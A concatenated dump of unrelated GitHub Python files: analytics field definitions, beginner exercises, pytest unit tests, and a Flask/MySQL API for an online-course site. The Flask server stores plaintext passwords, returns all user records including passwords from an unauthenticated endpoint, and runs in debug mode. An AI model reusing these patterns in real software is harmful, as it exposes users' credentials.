\"15\"))\n","repo_name":"jinyongkwon/programmer_level_test","sub_path":"level1/크기가작은부분문자열.py","file_name":"크기가작은부분문자열.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1225323361","text":"installs_fields = [\n {\n \"description\": None,\n \"is_dim\": False,\n \"name\": \"ym:ts:openDevices\",\n \"title\": \"Deeplinks\",\n \"type\": \"integer\",\n },\n {\n \"description\": \"Новые установки + реатрибутированные установки\",\n \"is_dim\": False,\n \"name\": \"ym:ts:advInstallDevices\",\n \"title\": \"Все установки\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": False,\n \"name\": \"ym:ts:userClicks\",\n \"title\": \"Клики\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": False,\n \"name\": \"ym:ts:userConversion\",\n \"title\": \"Конверсия из кликов в установки\",\n \"type\": \"float\",\n },\n {\n \"description\": None,\n \"is_dim\": False,\n \"name\": \"ym:ts:advNewInstallDevices\",\n \"title\": \"Новые установки\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": False,\n \"name\": \"ym:ts:advReattributedDevices\",\n \"title\": \"Реатрибутированные установки\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:campaignID\",\n \"title\": \"Tracking ID кампании\",\n \"type\": \"string\",\n },\n {\n \"description\": \"Идентификатор приложения\",\n \"is_dim\": True,\n \"name\": \"ym:ts:apiKey\",\n \"title\": \"ID приложения\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:UUID\",\n \"title\": \"UUID приложения\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:clientKitVersion\",\n \"title\": \"Версия SDK клиента\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:operatingSystemVersionInfo\",\n \"title\": \"Версия платформы\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:appVersion\",\n \"title\": \"Версия приложения\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:year\",\n \"title\": \"Год\",\n \"type\": \"integer\",\n },\n {\n \"description\": \"Название города, к которому принадлежат посетители сайта.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:regionCityName\",\n \"title\": \"Город\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:date\",\n \"title\": \"Дата\",\n \"type\": \"date\",\n },\n {\n \"description\": \"Дата и время в формате YYYY-MM-DD HH:mm:ss, округленное до начала года.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfYear\",\n \"title\": \"Дата (год)\",\n \"type\": \"date\",\n },\n {\n \"description\": \"Дата и время в формате YYYY-MM-DD HH:mm:ss, округленное до начала 10-минутного интервала.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfDekaminute\",\n \"title\": \"Дата (декаминута)\",\n \"type\": \"datetime\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfQuarter\",\n \"title\": \"Дата (квартал)\",\n \"type\": \"date\",\n },\n {\n \"description\": \"Дата и время в формате YYYY-MM-DD HH:mm:ss, округленное до начала месяца.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfMonth\",\n \"title\": \"Дата (месяц)\",\n \"type\": \"date\",\n },\n {\n \"description\": \"Дата и время в формате YYYY-MM-DD HH:mm:ss, округленное до начала минуты.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfMinute\",\n \"title\": \"Дата (минута)\",\n \"type\": \"datetime\",\n },\n {\n \"description\": \"Дата и время в формате YYYY-MM-DD HH:mm:ss, округленное до начала часа.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:startOfHour\",\n \"title\": \"Дата (час)\",\n \"type\": \"datetime\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:dekaminute\",\n \"title\": \"Декаминута\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:dayOfMonth\",\n \"title\": \"День месяца\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:dayOfWeekName\",\n \"title\": \"День недели\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:urlParamValue\",\n \"title\": \"Значения параметров трекинговой ссылки\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:googleAID\",\n \"title\": \"Идентификатор рекламы Google\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:iosIFA\",\n \"title\": \"Идентификатор рекламы на iOS\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:deviceID\",\n \"title\": \"Идентификатор, полученный средствами системного API или выдаваемый Яндексом\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:urlParamKey\",\n \"title\": \"Имена параметров трекинговой ссылки\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:campaignName\",\n \"title\": \"Кампания\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:osMajorVersionInfoName\",\n \"title\": \"Мажорная версия ОС\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:month\",\n \"title\": \"Месяц\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:minute\",\n \"title\": \"Минута\",\n \"type\": \"integer\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:mpcName\",\n \"title\": \"Название сотового оператора на основе кода сотового оператора (MPC)\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:mccName\",\n \"title\": \"Название страны на основе мобильного кода страны оператора (MCC)\",\n \"type\": \"string\",\n },\n {\n \"description\": \"Области, к которым принадлежат посетители сайта.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:regionAreaName\",\n \"title\": \"Область\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:operatingSystemInfoName\",\n \"title\": \"Операционная система\",\n \"type\": \"string\",\n },\n {\n \"description\": 'Возможные значения: \"yes\", \"no\", \"undefined\".',\n \"is_dim\": True,\n \"name\": \"ym:ts:limitAdTracking\",\n \"title\": \"Признак ограничения рекламного трекинга\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:publisherName\",\n \"title\": \"Рекламная сеть\",\n \"type\": \"string\",\n },\n {\n \"description\": \"Название страны, к которой принадлежат посетители сайта.\",\n \"is_dim\": True,\n \"name\": \"ym:ts:regionCountryName\",\n \"title\": \"Страна\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:device\",\n \"title\": \"Устройство\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:hour\",\n \"title\": \"Час\",\n \"type\": \"string\",\n },\n {\n \"description\": None,\n \"is_dim\": True,\n \"name\": \"ym:ts:hourMinute\",\n \"title\": \"Час и минута\",\n \"type\": \"string\",\n },\n]\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_sqlalchemy_metrica_api/dl_sqlalchemy_metrica_api/api_info/appmetrica/installs.py","file_name":"installs.py","file_ext":"py","file_size_in_byte":9069,"program_lang":"python","lang":"cv","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"23230459476","text":"# // AUTHOR: Guruprasanna\n# // Python3 Concept: Mersenne numbers/functions\n# // GITHUB: https://github.com/Guruprasanna02\n\n# // Add your python3 concept below\n# To print first \"n\" mersenne numbers\n\ndef mersenne(n):\n for i in range(2,n+2):\n print((2**i) - 1,end=\"\\n\") \n\nn = int(input(\"Enter an integer : \"))\nmersenne(n)","repo_name":"Aman22sharma/Hacktoberfest2021_beginner","sub_path":"Python3-Learn/mersenne_guruprasanna02.py","file_name":"mersenne_guruprasanna02.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"54"} +{"seq_id":"34646348601","text":"# My Solution: use a hashset to store the indices of the elements in the array as\n# we go through the array. If we find an reciprocate element in the hashset, return True.\ndef twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n \n # create a set to store the passing numbers\n hashSet = {}\n # loop through the list, for each number n, check to see if target - n\n # already exists. If yes, return the indices of n and target - n, else, keep\n # looping\n for i in range(len(nums)):\n if (target - nums[i]) in hashSet:\n return [i, hashSet[target - nums[i]]]\n else:\n hashSet[nums[i]] = i\n # return an invalid answer if there are no pairs found\n return [-1, -1]","repo_name":"hvrlxy/interview_prep","sub_path":"array&hashing/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21840076361","text":"import datetime\r\nimport sys\r\n\r\n# using try-except blocks for handling the exceptions\r\ndef validateDate(date):\r\n check = True\r\n try:\r\n # It returns true if the date is correctly formatted else it will go to except block\r\n datetime.datetime.strptime(date, '%d/%m/%Y')\r\n\r\n # If the date validation goes wrong\r\n except ValueError:\r\n check = False\r\n\r\n return check\r\n\r\ndef userInput():\r\n global startDate\r\n global endDate\r\n\r\n startDate =input(\"Enter the start date in given format of DD/MM/YYYY: \")\r\n if(validateDate(startDate)):\r\n print(\"The Start date is recorded\")\r\n else:\r\n print(\"The format is incorrect please check it........\")\r\n sys.exit()\r\n\r\n endDate =input(\"Enter the end date in given format of DD/MM/YYYY: \")\r\n if(validateDate(endDate)):\r\n print(\"The End date is recorded\")\r\n else:\r\n print(\"The format is incorrect please check it........\")\r\n sys.exit()\r\n\r\ndef findLeapYear(start, end):\r\n #Checking whether end year is greater than start or not.....\r\n while start >= end:\r\n print(\"Check your year input again..... The end date year should be grater than the start date year.........\")\r\n sys.exit()\r\n\r\n global leapYear,nonLeapYear\r\n\r\n #Checking leap year or not and appending it to the list....\r\n while start <= end:\r\n if (start % 4 == 0 and start % 100 != 0) or (start % 100 == 0 and start % 400 == 0) :\r\n leapYears.append(str(start))\r\n else:\r\n nonLeapYears.append(str(start))\r\n start += 1\r\n\r\n\r\n\r\n#Decalring start date and end date variables\r\nstartDate = \"\"\r\nendDate = \"\"\r\n\r\n#Taking User input and validating the date\r\nuserInput()\r\n\r\n#Extracting Year from the entered date\r\nstartYear = int(datetime.datetime.strptime(startDate, '%d/%m/%Y').year)\r\nendYear = int(datetime.datetime.strptime(endDate, '%d/%m/%Y').year)\r\n\r\n#Declaring list to contain leap and non leap years seperately\r\nleapYears = []\r\nnonLeapYears = []\r\n\r\n#Calling the main function\r\nfindLeapYear(startYear,endYear)\r\n\r\n#Printing th list in appropraite format\r\nprint(\"\\nLeap years are:\")\r\n\r\nfor line in range(0, len(leapYears), 10):\r\n print (\"{0}.\".format(\", \".join(leapYears[line:line+10])))\r\n\r\nprint(\"\\nNon Leap years are:\")\r\nfor line in range(0, len(nonLeapYears), 10):\r\n print (\"{0}.\".format(\", \".join(nonLeapYears[line:line+10])))\r\n","repo_name":"harmeetsinghjsr/Python-Programs","sub_path":"Finding leap years.py","file_name":"Finding leap years.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"21910931023","text":"from unittest.mock import MagicMock, patch\n\nimport pytest\n\nfrom molgenis.bbmri_eric.errors import EricWarning, ErrorReport\nfrom molgenis.bbmri_eric.model import Node\nfrom molgenis.bbmri_eric.publication_preparer import PublicationPreparer\n\n\n@pytest.fixture\ndef validator_init():\n with patch(\"molgenis.bbmri_eric.publication_preparer.Validator\") as validator_mock:\n yield validator_mock\n\n\n@pytest.fixture\ndef model_fitter_init():\n with patch(\n \"molgenis.bbmri_eric.publication_preparer.ModelFitter\"\n ) as model_fitter_mock:\n yield model_fitter_mock\n\n\n@pytest.fixture\ndef transformer_init():\n with patch(\n \"molgenis.bbmri_eric.publication_preparer.Transformer\"\n ) as transformer_mock:\n yield transformer_mock\n\n\n@pytest.fixture\ndef pid_manager():\n return MagicMock()\n\n\n@pytest.fixture\ndef preparer(session, printer, pid_manager):\n return PublicationPreparer(printer, pid_manager, session)\n\n\ndef test_prepare(preparer, session):\n validate_func = MagicMock()\n preparer._validate_node = validate_func\n model_fitter_func = MagicMock()\n preparer._fit_node_model = model_fitter_func\n transform_func = MagicMock()\n preparer._transform_node = transform_func\n manage_pids_func = MagicMock()\n preparer._manage_node_pids = manage_pids_func\n nl = Node.of(\"NL\")\n state = MagicMock()\n report = MagicMock()\n state.report = report\n node_data = MagicMock()\n session.get_staging_node_data.return_value = node_data\n\n preparer.prepare(nl, state)\n\n session.get_staging_node_data.assert_called_with(nl)\n validate_func.assert_called_with(node_data, report)\n model_fitter_func.assert_called_with(node_data, report)\n transform_func.assert_called_with(node_data, state)\n manage_pids_func.assert_called_with(node_data, state)\n\n\ndef test_validate(preparer: PublicationPreparer, validator_init, printer):\n validator = MagicMock()\n validator_init.return_value = validator\n node_data = MagicMock()\n report = MagicMock()\n\n preparer._validate_node(node_data, report)\n\n validator_init.assert_called_with(node_data, printer)\n assert validator.validate.called\n\n\ndef test_validate_warnings(preparer: PublicationPreparer, validator_init, printer):\n validator = MagicMock()\n validator_init.return_value = validator\n warning = EricWarning(\"warning\")\n validator.validate.return_value = [warning]\n node_data = MagicMock()\n nl = Node.of(\"NL\")\n node_data.node = nl\n report: ErrorReport = ErrorReport([nl])\n\n preparer._validate_node(node_data, report)\n\n assert report.node_warnings[nl] == [warning]\n\n\ndef test_model_fitting(preparer: PublicationPreparer, model_fitter_init):\n model_fitter = MagicMock()\n model_fitter_init.return_value = model_fitter\n\n preparer._fit_node_model(MagicMock(), MagicMock())\n\n assert model_fitter_init.called\n assert model_fitter.fit_model.called\n\n\ndef test_model_fitting_warnings(preparer: PublicationPreparer, model_fitter_init):\n model_fitter = MagicMock()\n model_fitter_init.return_value = model_fitter\n warning = EricWarning(\"warning\")\n model_fitter.fit_model.return_value = [warning]\n node_data = MagicMock()\n nl = Node.of(\"NL\")\n node_data.node = nl\n state = MagicMock()\n state.report = ErrorReport(nl)\n\n preparer._fit_node_model(node_data, state.report)\n\n assert state.report.node_warnings[nl] == [warning]\n\n\ndef test_transform(preparer: PublicationPreparer, transformer_init):\n transformer = MagicMock()\n transformer_init.return_value = transformer\n\n preparer._transform_node(MagicMock(), MagicMock())\n\n assert transformer_init.called\n assert transformer.transform.called\n\n\ndef test_transform_warnings(preparer: PublicationPreparer, transformer_init, printer):\n transformer = MagicMock()\n transformer_init.return_value = transformer\n warning = EricWarning(\"warning\")\n transformer.transform.return_value = [warning]\n node_data = MagicMock()\n nl = Node.of(\"NL\")\n node_data.node = nl\n state = MagicMock()\n state.report = ErrorReport(nl)\n\n preparer._transform_node(node_data, state)\n\n assert state.report.node_warnings[nl] == [warning]\n\n\ndef test_manage_pids(preparer, transformer_init, pid_manager):\n biobanks = MagicMock()\n node_data = MagicMock()\n node_data.biobanks = biobanks\n existing_biobanks = MagicMock()\n state = MagicMock()\n state.existing_data.biobanks = existing_biobanks\n\n preparer._manage_node_pids(node_data, state)\n\n pid_manager.assign_biobank_pids.assert_called_with(biobanks)\n pid_manager.update_biobank_pids.assert_called_with(biobanks, existing_biobanks)\n\n\ndef test_manage_pids_warning(preparer, transformer_init, pid_manager):\n nl = Node.of(\"NL\")\n node_data = MagicMock()\n node_data.node = nl\n state = MagicMock()\n state.report = ErrorReport([nl])\n warning = EricWarning(\"warning\")\n pid_manager.assign_biobank_pids.return_value = [warning]\n\n preparer._manage_node_pids(node_data, state)\n\n assert state.report.node_warnings[nl] == [warning]\n","repo_name":"molgenis/molgenis-py-bbmri-eric","sub_path":"tests/test_publication_preparer.py","file_name":"test_publication_preparer.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3644114745","text":"def linha(tam=42):\n return '-' * tam\n\n\ndef cabecalho(txt):\n print(linha())\n print(txt.center(42))\n print(linha())\n\n\ndef menu(lista):\n cabecalho('\\033[32mMENU PRINCIPAL\\033[m')\n c = 1\n for item in lista:\n print(f'\\033[33m{c}\\033[m - \\033[34m{item}\\033[m')\n c += 1\n print(linha())\n opc = leiaint('Sua opção: ')\n return opc\n\n\ndef leiaint(msg):\n while True:\n try:\n num = int(input(msg))\n except (ValueError, TypeError):\n print('\\033[31mValor inválido, tente novamente!\\033[m')\n except KeyboardInterrupt:\n print('\\033[31mO usuário decidiu não prosseguir\\033[m')\n break\n except Exception as erro:\n print(f'\\033[31mO erro encontrado foi {erro.__cause__}\\033[m')\n else:\n return num\n","repo_name":"josefcaique/ProjetoEstudosPython","sub_path":"tratamento/Interface/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3033089309","text":"def main():\r\n\r\n import turtle\r\n win = turtle.Screen()\r\n t = turtle.Turtle()\r\n\r\n t.pensize(2)\r\n t.pencolor('lightblue')\r\n t.shape('turtle')\r\n\r\n t.penup()\r\n t.backward(100)\r\n t.pendown()\r\n\r\n for a in range(6):\r\n for b in range(3):\r\n t.forward(100)\r\n t.right(90)\r\n t.right(30)\r\n t.left(30)\r\n for c in range(6):\r\n t.forward(100)\r\n t.right(60)\r\n for d in range(8):\r\n t.backward(20)\r\n t.right(45)\r\n t.forward(10)\r\nmain()\r\n","repo_name":"Pantherman/cti110","sub_path":"M5T1c_PenderSr.py","file_name":"M5T1c_PenderSr.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25480827334","text":"import MySQLdb\r\nfrom flask import Flask\r\nfrom flask.globals import request\r\nfrom flask.wrappers import Response\r\nfrom flask_mysqldb import MySQL\r\nimport MySQLdb.cursors\r\nimport json\r\nfrom flask_cors import CORS, cross_origin\r\n\r\napp = Flask(__name__)\r\ncors = CORS(app)\r\napp.config['CORS_HEADERS'] = 'Content-Type'\r\n\r\napp.config['MYSQL_HOST'] = 'localhost'\r\napp.config['MYSQL_USER'] = 'root'\r\napp.config['MYSQL_PASSWORD'] = ''\r\napp.config['MYSQL_DB'] = 'udemy'\r\n\r\nmysql = MySQL(app)\r\n\r\n#getting all user data\r\n@app.route(\"/user\", methods=[\"GET\"])\r\n@cross_origin()\r\ndef users():\r\n cur = mysql.connection.cursor()\r\n users = cur.execute(\"SELECT * FROM signup\")\r\n if users > 0:\r\n userDetails = cur.fetchall()\r\n return Response(response= json.dumps(userDetails),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps({\"message\":\"no users found\"}))\r\n \r\n# signup\r\n@app.route(\"/signup\", methods = [\"GET\",\"POST\"])\r\n@cross_origin()\r\ndef signup():\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n email = request.form['email']\r\n password = request.form['password']\r\n \r\n cur = mysql.connection.cursor()\r\n if name != '' and email != '' and password !='':\r\n cur.execute(\"INSERT INTO signup (name, email, password) VALUES(%s, %s, %s)\", (name, email, password))\r\n mysql.connection.commit()\r\n cur.close()\r\n return Response(\r\n response= json.dumps({\r\n \"message\": \"User Created\",\r\n }), status=200,mimetype=\"application/json\")\r\n else:\r\n return Response(\r\n response= json.dumps({\r\n \"message\": \"user not created because fields are empty\",\r\n }), status=200,mimetype=\"application/json\")\r\n \r\n# login \r\n@app.route(\"/login\", methods = [\"GET\",\"POST\"])\r\n@cross_origin()\r\ndef login():\r\n if request.method == 'POST' and 'email' in request.form and 'password' in request.form:\r\n email = request.form['email']\r\n password = request.form['password']\r\n cur = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\r\n users = cur.execute('SELECT * FROM signup WHERE email = % s AND password = % s', (email, password))\r\n if users > 0:\r\n userDetails = cur.fetchone()\r\n return Response(\r\n response= json.dumps(userDetails),\r\n status=200, \r\n mimetype=\"application/json\")\r\n\r\n# course_intro\r\n@app.route(\"/course_intro\", methods = [\"GET\"])\r\n@cross_origin()\r\ndef course_intro():\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_intro\")\r\n if data > 0:\r\n course_intro = cur.fetchall()\r\n return Response(response= json.dumps(course_intro),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# categories\r\n@app.route(\"/categories\", methods = [\"GET\"])\r\n@cross_origin()\r\ndef get_category():\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM categories\")\r\n if data > 0:\r\n category = cur.fetchall()\r\n return Response(response= json.dumps(category),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# what you will learn \r\n@app.route('/whatlearn/', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_what_you_will_learn(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM what_you_will_learn WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n whatLearn = cur.fetchall()\r\n return Response(response= json.dumps(whatLearn),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# who this course is for \r\n@app.route('/whoCourse/', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_who_this_course_for(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM who_this_course_for WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n whoCourse = cur.fetchall()\r\n return Response(response= json.dumps(whoCourse),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# single course \r\n@app.route('/singleCourse/', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_single_course(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_intro WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n course = cur.fetchone()\r\n return Response(response= json.dumps(course),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n\r\n# course content \r\n@app.route('/courseContent/', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_course_content(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM content WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n course_content = cur.fetchall()\r\n return Response(response=json.dumps(course_content), status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# course content - description \r\n@app.route('/courseContentDescription//', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_course_content_description(subpath,subpath1):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_content WHERE course_id=%s AND content_id=%s\",(subpath,subpath1))\r\n if data > 0:\r\n course_content_description = cur.fetchall()\r\n return Response(response=json.dumps(course_content_description), status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n\r\n\r\n# course description \r\n@app.route('/courseDescription/', methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_course_description(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_description WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n course = cur.fetchone()\r\n return Response(response= json.dumps(course),status=200, mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n # category \r\n@app.route(\"/category/\", methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_course_category(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_intro WHERE c_category=%s\",(subpath))\r\n if data > 0:\r\n category = cur.fetchall()\r\n return Response(\r\n response= json.dumps(category),\r\n status=200, \r\n mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# comments\r\n@app.route(\"/comments/\", methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_course_comments(subpath):\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM comments WHERE course_id=%s\",(subpath))\r\n if data > 0:\r\n comments = cur.fetchall()\r\n return Response(\r\n response= json.dumps(comments),\r\n status=200, \r\n mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# create comments\r\n@app.route(\"/create_comments\", methods=[\"GET\",\"POST\"])\r\n@cross_origin()\r\ndef post_course_comments():\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n course_id = request.form['course_id']\r\n review = request.form['review']\r\n rating = request.form['rating']\r\n \r\n if name !='' and course_id != '' and review != '' and rating != '' :\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"INSERT INTO comments(course_id,name,rating,review) VALUES(%s,%s,%s,%s)\",(course_id, name, rating, review))\r\n mysql.connection.commit()\r\n cur.close()\r\n return Response(\r\n response= json.dumps({\r\n \"message\": \"commment completion\",\r\n }), status=200,mimetype=\"application/json\")\r\n else:\r\n return Response(\r\n response= json.dumps({\r\n \"message\": \"cannot complete project something went error\",\r\n }), status=200,mimetype=\"application/json\")\r\n \r\n # search \r\n@app.route(\"/search/\", methods=[\"GET\"])\r\n@cross_origin()\r\ndef get_search(subpath):\r\n searchQuery = \"%\"+ subpath + \"%\"\r\n cur = mysql.connection.cursor()\r\n data = cur.execute(\"SELECT * FROM course_intro WHERE c_title LIKE %s\",[searchQuery])\r\n if data > 0:\r\n search = cur.fetchall()\r\n return Response(\r\n response= json.dumps(search),\r\n status=200, \r\n mimetype=\"application/json\")\r\n else:\r\n return Response(response= json.dumps(\"none\"))\r\n \r\n# contact us\r\n@app.route(\"/contact\", methods=[\"GET\",\"POST\"])\r\n@cross_origin()\r\ndef post_contact():\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n email = request.form['email']\r\n phone = request.form['phone']\r\n msg = request.form['msg']\r\n \r\n if name !='' and email != '' and phone != '' and msg != '' :\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"INSERT INTO contact(name,email,phone,msg) VALUES(%s,%s,%s,%s)\",(name,email,phone,msg))\r\n mysql.connection.commit()\r\n cur.close()\r\n return Response(\r\n response= json.dumps(\"true\"), status=200,mimetype=\"application/json\")\r\n else:\r\n return Response(\r\n response= json.dumps({\r\n \"message\": \"cannot complete contact something went error\",\r\n }), status=200,mimetype=\"application/json\")\r\n \r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True, port=5000)","repo_name":"iamshivam708/online-course","sub_path":"api/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20635752663","text":"import sys; sys.stdin = open('5209.txt')\n\ndef solve(s,d):\n global tmp\n if d == N:\n if s < tmp:\n tmp = s\n return\n if s >= tmp:\n return\n for i in range(N):\n if not used[i]:\n used[i] = 1\n solve(s + arr[d][i], d + 1)\n used[i] = 0\n\n\nfor t_case in range(int(input())):\n N = int(input())\n arr = [list(map(int, input().split())) for _ in range(N)]\n used, tmp = [0] * (N+1), 0\n for i in range(N):\n tmp += arr[i][i]\n solve(0, 0)\n print('#{} {}'.format(t_case+1, tmp))","repo_name":"dodonmountain/algorithm","sub_path":"2019_late/20190925/swea_5209_최소생산비용.py","file_name":"swea_5209_최소생산비용.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5077588965","text":"#Guessing a number between (1-10)\r\n#SUMIT SAURAV - Python Code\r\n\r\nimport random\r\ndef main():\r\n print(\"GUESS A NUMBER B/W 1-10\")\r\n while True:\r\n a = random.randint(1, 10)\r\n User_choice = int(input(\"ENTER YOUR GUESS HERE : \"))\r\n print(\"RANDOM NUMBER IS : \",a)\r\n if User_choice == a :\r\n print(\"CORRECT GUESS !!\")\r\n break\r\n elif User_choice > a :\r\n print(\"WRONG GUESS, YOU GUESSED HIGHER NUMBER !!\")\r\n else :\r\n print(\"WRONG GUESS, YOU GUESSED LESSER NUMBER !!\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"sumitsaurav143/Python_Projects","sub_path":"Guess Number.py","file_name":"Guess Number.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29288121461","text":"# Minimal version of main.py - shows gear only\n\n# Required modules:\n# a) Self-defined:\n# - ecu\n# - ctrl\n# - pwr\n# b) Drivers (modified from others):\n# - mcp23017 (minimal version of mcp.py)\n# - ssd1306_vert (MicroPython/display/ssd1306_vert.py)\n# c) Drivers:\n# - uasyncio (clone from https://github.com/micropython/micropython-lib)\n# d) Other files (not frozen into flash):\n# - img/ (contains images for OLED, e.g. font letters)\n\nfrom ecu import CBR500Sniffer, 